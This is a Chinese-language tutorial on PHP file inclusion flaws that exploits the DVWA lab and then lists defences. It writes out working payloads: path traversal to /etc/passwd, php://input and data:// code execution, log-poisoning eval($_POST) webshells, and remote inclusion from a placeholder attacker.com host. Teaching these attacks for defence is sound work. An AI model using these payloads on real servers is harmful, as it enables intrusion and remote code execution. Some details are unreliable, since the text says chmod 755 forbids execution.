文章目录
文件包含漏洞的原理、利用方式、防范措施
一、原理
文件包含漏洞是Web应用程序中因动态包含用户可控文件路径而引发的安全风险。其核心原理是攻击者通过控制包含的文件路径,诱导服务器加载并执行恶意文件。常见于PHP、JSP、ASP等语言。
一句话:服务端未对文件包含函数的参数(如?file=xxx
)进行合法性校验,攻击者通过注入恶意路径(如/etc/passwd
或远程URL)实现本地/远程文件包含(LFI/RFI)。
关键点
-
动态包含机制
开发中使用
include()
、require()
等函数动态加载文件,若未对用户输入过滤,攻击者可指定任意文件路径。示例:
<?php $file = $_GET['file']; include($file . '.php'); // 用户可控的$file参数 ?>
若用户输入
file=../../etc/passwd%00
(利用空字节截断),可读取系统文件。 -
本地文件包含(LFI)与远程文件包含(RFI)
-
LFI:包含服务器本地文件(如
/etc/passwd
、日志文件)。 -
RFI:通过URL包含远程文件(需
allow_url_include=On
和magic_quotes_gpc=off
),如http://attacker.com/shell.txt
。
-
-
伪协议支持
PHP内置伪协议(如php://input
、data://
)可绕过文件扩展名限制,直接执行代码。
示例:http://example.com/vuln.php?file=php://input POST数据:<?php system('id'); ?>
服务器执行
id
命令。 -
文件解析特性
部分中间件(如Apache)会按脚本解析特定文件(如test.jpg
中嵌入PHP代码),结合包含漏洞可执行恶意代码。 -
二次漏洞利用
结合文件上传漏洞,上传图片马(如shell.jpg
含PHP代码),再通过包含漏洞触发执行。
二、利用方式
本文使用 DVWA 进行示例
dvwa 账号密码:admin/password
1. 本地文件包含(LFI)
示例1:上传利用文件
上传含PHP代码的shell.jpg
,访问file=uploads/shell.jpg
触发执行。
上传图片马,我的另一篇文章有讲过,可以参考
getimagesize()
的绕过姿势。todo 链接地址
示例2:日志文件注入
两种方式
1、注入一句话木马,工具连接日志文件
2、注入单独生成文件代码
-
开启日志记录功能
- httpd.conf →
CustomLog "logs/access.log" common
- httpd.conf →
-
分析靶机后台目录,查看层级关系
-
测试注入
<?php phpinfo();?>
- 浏览器网址上直接拼接会被URL编码
- 通过Burp抓包修改
-
访问日志
http://192.168.124.28/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log
- 看界面能否展示出来信息
-
注入一句话木马
<php @eval($_POST['123']);>
- 访问日志,检查是否注入成功
- 复制链接,利用菜刀连接
-
连接不上,用另一种方法,单独生成文件
<?php $file=fopen('zzz.php','w');fputs($file,'<?php @xx($_POST[666]);?>');?>
- 抓包注入
- 利用蚁剑连接
示例3:PHP伪协议读取源码
使用
php://filter/convert.base64-encode/resource=config.php
获取Base64编码的配置文件。
-
在靶机创建xx.php测试文件,内容:
<?php @eval($_POST['111']);?>
-
以base64编码的形式读取当前目录下的xx.php文件
- 解释:用于查看效果,若是不编码展示,你读取的是php代码,会自动执行,所以看不到文件数据。若是其他数据,很可能会报错。所以用编码展示效果。
http://192.168.128.28/dvwa/vulnerabilities/fi/?
page=php://filter/read=convert.base64-encode/resource=xx.php
示例4:PHP包含命令执行
注:只有在
allow_url_inclue=on
的情况才可以使用。
示例:
-
复用上一个包,修改传参,添加请求体
-
传参:
php://input
-
请求体:
<?php system('net user');?>
-
-
试验做不出效果,重启一下phpstudy和BurpSuite
示例5:包含绕过
-
截断绕过
- 示例:
finclude.php?page=./webshell.jpg%00
- 解释:适用于
magic_quotes_gpc=off
,php版本小于5.3.4,现在很难见到了。
- 示例:
-
str_replace函数绕过
- 示例:
finclude.php?page=hthttp://tp://192.168.1.1/phpinfo.php
..././
替代../
- 解释:双写绕过,绝对路径不受影响
- 示例:
-
fnmatch函数绕过
- 示例:
?page=file:///C:/xx/xx/xx.php
- 解释:满足正则匹配规则,file*开头,使用绝对路径
- 示例:
2. 远程文件包含(RFI)
- 示例1:远程加载Webshell
输入file=http://attacker.com/shell.txt
,直接执行远程恶意代码。 - 示例2:利用
data://
协议
构造file=data://text/plain,<?php system('whoami'); ?>
直接执行命令。 - 示例3:
zip://
协议绕过上传限制
上传含PHP代码的shell.zip
,访问file=zip://shell.zip%23shell.php
解压执行。 - 示例4:
phar://
协议利用
上传恶意Phar包,通过phar://
协议触发反序列化漏洞。 - 示例5:结合DNS重绑定攻击
利用DNS解析变化,使同一URL在不同时间指向攻击者控制的服务器和本地文件。
三、防范措施
1. 输入过滤与白名单机制
-
示例1:白名单限制文件范围
$allowed = ['home.php', 'about.php']; if (in_array($_GET['file'], $allowed)) { include($_GET['file']); }
仅允许加载预设文件。
-
示例2:过滤特殊字符
移除../
、php://
等危险字符:$file = str_replace(['../', '://'], '', $_GET['file']);
2. 配置与权限控制
-
示例3:禁用远程文件包含
修改PHP配置:allow_url_include = Off
。 -
示例4:设置
open_basedir
限制目录
PHP配置中指定:open_basedir = /var/www/html/
,限制文件访问范围。 -
示例5:文件上传目录禁用执行权限
chmod -R 755 uploads/ # 仅允许读写,禁止执行
3. 安全编码实践
- 示例6:使用静态包含
避免动态变量拼接路径:include('header.php');
。 - 示例7:文件内容校验
对上传文件进行二次渲染(如GD库处理图片),破坏嵌入的恶意代码。
4. 监控与应急响应
- 示例8:日志审计异常请求
监控包含../
、php://
等特征的访问日志。 - 示例9:Web应用防火墙(WAF)规则
拦截包含敏感路径或协议的请求(如/etc/passwd
、data://
)。
5. 框架与组件更新
- 示例10:升级PHP版本
PHP 5.2+默认关闭allow_url_include
,减少RFI风险。
总结
文件包含漏洞的本质是信任未经验证的用户输入,防御需从输入过滤、权限控制、安全编码多维度构建纵深防护。攻击者常通过路径穿越、伪协议、文件上传组合拳突破防线,而防御方需结合白名单、日志监控、框架更新等手段持续对抗。